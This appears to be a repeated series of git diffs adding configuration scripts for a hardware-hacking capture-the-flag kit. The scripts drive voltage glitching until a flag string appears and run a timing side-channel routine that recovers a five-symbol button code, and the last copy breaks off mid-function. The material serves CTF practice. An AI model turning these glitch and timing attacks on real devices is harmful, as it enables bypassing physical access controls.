diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py new file mode 100644 index 0000000..0ee78c6 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py @@ -0,0 +1,44 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', True], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### name, enabled, string to match ### +conditions = [ + ["Flag", True, "TS{", "stop_glitch"], +] + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py new file mode 100644 index 0000000..0ee78c6 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py @@ -0,0 +1,44 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', True], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### name, enabled, string to match ### +conditions = [ + ["Flag", True, "TS{", "stop_glitch"], +] + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py new file mode 100644 index 0000000..1185630 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py @@ -0,0 +1,108 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', False], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + functions.run_output_low(0, 3000) + functions.run_output_low(1, 3000) + functions.run_output_low(2, 3000) + functions.run_output_low(3, 3000) + +def button_ok(): + functions.run_output_high(0, 15000000) # Can also run_output_low() if needed + functions.set_trigger_value(0, True) + functions.run_output_low(0, 3000) + + last_state = functions.get_trigger_value(0) + start_time = time.time() + + while True: + current_state = functions.get_trigger_value(0) + + # Detect rising edge: 0 → 1 + if last_state == 0 and current_state == 1: + functions.set_trigger_value(0, False) + functions.add_text("[code check complete]") + break + + # Exit if 1 second has elapsed + if time.time() - start_time >= 1.0: + functions.add_text("[timeout: no input detected within 1 second]") + break + + last_state = current_state + time.sleep(0.01) # Polling interval (10 ms) + + +def button_dash(): + functions.run_output_high(1, 1500000) ## can also run_output_low() if need too + functions.run_output_low(1, 3000) + +def button_space(): + functions.run_output_high(2, 1500000) ## can also run_output_low() if need too + functions.run_output_low(2, 3000) + +def button_dot(): + functions.run_output_high(3, 1500000) ## can also run_output_low() if need too + functions.run_output_low(3, 3000) + + +def echo_trigger_state(): + for channel in range(8): + state = functions.get_trigger_value(channel) + if state == 1: + functions.add_text(f"Channel {channel}: HIGH") + else: + functions.add_text(f"Channel {channel}: LOW") + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py new file mode 100644 index 0000000..0ee78c6 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py @@ -0,0 +1,44 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', True], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### name, enabled, string to match ### +conditions = [ + ["Flag", True, "TS{", "stop_glitch"], +] + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py new file mode 100644 index 0000000..1185630 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py @@ -0,0 +1,108 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', False], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + functions.run_output_low(0, 3000) + functions.run_output_low(1, 3000) + functions.run_output_low(2, 3000) + functions.run_output_low(3, 3000) + +def button_ok(): + functions.run_output_high(0, 15000000) # Can also run_output_low() if needed + functions.set_trigger_value(0, True) + functions.run_output_low(0, 3000) + + last_state = functions.get_trigger_value(0) + start_time = time.time() + + while True: + current_state = functions.get_trigger_value(0) + + # Detect rising edge: 0 → 1 + if last_state == 0 and current_state == 1: + functions.set_trigger_value(0, False) + functions.add_text("[code check complete]") + break + + # Exit if 1 second has elapsed + if time.time() - start_time >= 1.0: + functions.add_text("[timeout: no input detected within 1 second]") + break + + last_state = current_state + time.sleep(0.01) # Polling interval (10 ms) + + +def button_dash(): + functions.run_output_high(1, 1500000) ## can also run_output_low() if need too + functions.run_output_low(1, 3000) + +def button_space(): + functions.run_output_high(2, 1500000) ## can also run_output_low() if need too + functions.run_output_low(2, 3000) + +def button_dot(): + functions.run_output_high(3, 1500000) ## can also run_output_low() if need too + functions.run_output_low(3, 3000) + + +def echo_trigger_state(): + for channel in range(8): + state = functions.get_trigger_value(channel) + if state == 1: + functions.add_text(f"Channel {channel}: HIGH") + else: + functions.add_text(f"Channel {channel}: LOW") + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py new file mode 100644 index 0000000..94c453d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py @@ -0,0 +1,155 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + """ + Discover a five-digit code by sending candidate pulses and measuring the + interval from sending OK (pin 8) until input goes HIGH using wait_for(). + + For each digit: + - Send one pulse for previously found digits. + - Send repeated pulses of the candidate digit to fill 5 pulses. + - Pulse OK (pin 8) to trigger the device. + - Measure duration using wait_for() for input HIGH. + - Select candidate with the longest LOW duration before HIGH. + """ + candidate_pins = [9, 10, 11] + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} + + button_ok() + functions.add_text("[INFO] Pulsing output pin 8 to reset device...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + functions.add_text("[INFO] Starting full code discovery sequence...") + + for digit_index in range(5): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") + results = {} + + for test_pin in candidate_pins: + # Build sequence: previously found digits + candidate repeated + sequence = code_sequence.copy() + remaining_pulses = 5 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)} ...") + + # Send sequence pulses (without timing) + for pin in sequence: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.1) + + # Start timer and pulse OK (pin 8) + start_time = time.time() + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + + # Wait for input to go HIGH and measure duration + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Use the Arduino-provided LOW duration, fallback to timer if needed + duration = result.get("duration_ms", int((end_time - start_time) * 1000)) + functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") + + results[test_pin] = duration + time.sleep(0.3) + + # Select candidate with longest duration (correct digit) + correct_pin = max(results, key=results.get) + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + code_sequence.append(correct_pin) + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py new file mode 100644 index 0000000..19bd20d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py @@ -0,0 +1,50 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 +UART_NEWLINE = "" + +### +# name, enabled, string to match +### +conditions = [ + ['1', False, "", 'one'], + ['2', False, "", 'two'], + ['3', False, "", 'three'], +] + +###### +# Custom functions +###### + +# Toggle states for each function +toggle_state_one = 0 +toggle_state_two = 0 +toggle_state_three = 0 + +def one(): + global toggle_state_one + functions.send_uart_message("1") + functions.send_uart_message(str(toggle_state_one)) + toggle_state_one = 1 - toggle_state_one + +def two(): + global toggle_state_two + functions.send_uart_message("2") + functions.send_uart_message(str(toggle_state_two)) + toggle_state_two = 1 - toggle_state_two + +def three(): + global toggle_state_three + functions.send_uart_message("3") + functions.send_uart_message(str(toggle_state_three)) + toggle_state_three = 1 - toggle_state_three + diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py new file mode 100644 index 0000000..2671dec --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py @@ -0,0 +1,7 @@ +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 31250 + diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py new file mode 100644 index 0000000..0ee78c6 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py @@ -0,0 +1,44 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', True], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### name, enabled, string to match ### +conditions = [ + ["Flag", True, "TS{", "stop_glitch"], +] + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py new file mode 100644 index 0000000..1185630 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py @@ -0,0 +1,108 @@ +###### +# LEAVE THESE IMPORTS! +###### +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +LENGTH = 10 +REPEAT = 10 +DELAY = 10 + +### +# ^ = pullup, v = pulldown +### +triggers = [ + ['-', False], #0 + ['^', False], #1 + ['-', False], #2 + ['-', False], #3 + ['-', False], #4 + ['-', False], #5 + ['-', False], #6 + ['-', False], #7 +] + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + functions.run_output_low(0, 3000) + functions.run_output_low(1, 3000) + functions.run_output_low(2, 3000) + functions.run_output_low(3, 3000) + +def button_ok(): + functions.run_output_high(0, 15000000) # Can also run_output_low() if needed + functions.set_trigger_value(0, True) + functions.run_output_low(0, 3000) + + last_state = functions.get_trigger_value(0) + start_time = time.time() + + while True: + current_state = functions.get_trigger_value(0) + + # Detect rising edge: 0 → 1 + if last_state == 0 and current_state == 1: + functions.set_trigger_value(0, False) + functions.add_text("[code check complete]") + break + + # Exit if 1 second has elapsed + if time.time() - start_time >= 1.0: + functions.add_text("[timeout: no input detected within 1 second]") + break + + last_state = current_state + time.sleep(0.01) # Polling interval (10 ms) + + +def button_dash(): + functions.run_output_high(1, 1500000) ## can also run_output_low() if need too + functions.run_output_low(1, 3000) + +def button_space(): + functions.run_output_high(2, 1500000) ## can also run_output_low() if need too + functions.run_output_low(2, 3000) + +def button_dot(): + functions.run_output_high(3, 1500000) ## can also run_output_low() if need too + functions.run_output_low(3, 3000) + + +def echo_trigger_state(): + for channel in range(8): + state = functions.get_trigger_value(channel) + if state == 1: + functions.add_text(f"Channel {channel}: HIGH") + else: + functions.add_text(f"Channel {channel}: LOW") + +def stop_glitch(): + elapsed = functions.get_glitch_elapsed() + + functions.set_trigger_value(1, False) + functions.set_uart_switch(False) + + functions.glitching_switch(False) + functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py new file mode 100644 index 0000000..94c453d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py @@ -0,0 +1,155 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + """ + Discover a five-digit code by sending candidate pulses and measuring the + interval from sending OK (pin 8) until input goes HIGH using wait_for(). + + For each digit: + - Send one pulse for previously found digits. + - Send repeated pulses of the candidate digit to fill 5 pulses. + - Pulse OK (pin 8) to trigger the device. + - Measure duration using wait_for() for input HIGH. + - Select candidate with the longest LOW duration before HIGH. + """ + candidate_pins = [9, 10, 11] + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} + + button_ok() + functions.add_text("[INFO] Pulsing output pin 8 to reset device...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + functions.add_text("[INFO] Starting full code discovery sequence...") + + for digit_index in range(5): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") + results = {} + + for test_pin in candidate_pins: + # Build sequence: previously found digits + candidate repeated + sequence = code_sequence.copy() + remaining_pulses = 5 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)} ...") + + # Send sequence pulses (without timing) + for pin in sequence: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.1) + + # Start timer and pulse OK (pin 8) + start_time = time.time() + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + + # Wait for input to go HIGH and measure duration + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Use the Arduino-provided LOW duration, fallback to timer if needed + duration = result.get("duration_ms", int((end_time - start_time) * 1000)) + 